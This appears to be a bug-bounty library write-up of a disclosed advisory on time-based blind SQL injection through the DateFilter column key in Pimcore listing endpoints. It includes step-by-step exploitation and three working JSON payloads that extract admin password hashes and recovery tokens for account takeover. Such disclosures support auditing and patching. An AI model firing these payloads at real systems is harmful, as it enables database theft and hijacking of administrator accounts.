# Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes

Authenticated user breaks out of manual backtick quoting in DateFilter column key on Pimcore listing endpoints, achieving time-based blind SQLi to extract admin password hashes and recovery tokens.

- Payout: Research
- Severity: high
- Program: Pimcore
- Found by: byteoverride
- Disclosed: 2026-08-28
- CVE: CVE-2026-55208
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-79cw-hfcc-7mw9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-79cw-hfcc-7mw9
- Tags: area:web domain:web impact:ato impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:php technique:blind technique:source-review vuln:sqli

**Target:** POST /pimcore-studio/api/website-settings and 11 other listing endpoints (DateFilter column key)
**Root cause:** DateFilter builds SQL by concatenating the user-controlled column key inside manual backticks (`'`' . $key . '`'`) without escaping internal backticks or allowlisting; because named parameters are fixed (:minTime/:maxTime), PDO binding validation never inspects the injected column name.
**Steps:**
1. Send baseline `POST /pimcore-studio/api/website-settings` with `{"page":1,"pageSize":10}` and authenticated session; observe ~0.07s response.
2. Inject unconditional sleep via `columnFilters` key: `{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}`; response takes ~6.07s (SELECT + COUNT).
3. Confirm data extraction with conditional payload: `id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- `; TRUE case delays 6s.
4. Control with wrong guess `0x58585858` returns in 0.07s, proving conditional extraction.
5. Iterate `SUBSTRING(password,N,1)` or `passwordRecoveryToken` character by character to dump hashes/tokens.
**How found:** Code review of filter classes: noticed manual backtick wrapping instead of quoteIdentifier(), then compared DateFilter (fixed named params) against EqualsFilter/LikeFilter (column name reused as PDO param, which blocks injection) — the fixed-parameter variant bypasses PDO's identifier validation, making it the exploitable path.
**Exploitation:** Any authenticated user with website_settings (or equivalent listing) permission sends crafted columnFilters JSON to a DateFilter-backed listing endpoint; the backtick in `key` closes the identifier quote, `-- ` comments out the trailing BETWEEN clause, and injected SLEEP/IF subqueries leak arbitrary table data bit-by-bit via response timing. Extracted bcrypt hashes are cracked offline; passwordRecoveryToken values enable direct account takeover via POST /login/token.
**Escalation:** Pivots from a low-privilege listing permission to full DB read, then to admin account takeover via recovery tokens or cracked hashes.
**Insight:** When auditing SQL builders, distinguish filters that reuse the column name as the PDO placeholder (self-protecting) from those using fixed placeholder names — only the latter let injected identifiers reach SQL. Also grep for manual backtick concatenation instead of quoteIdentifier()/allowlists.

## Proof of concept (copied exactly from the original report)

**Conditional SLEEP extracting admin password hash prefix**

```
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
```

**Unconditional SLEEP(3) injection payload**

```
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
```

**FALSE-case control conditional SLEEP payload**

```
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
```

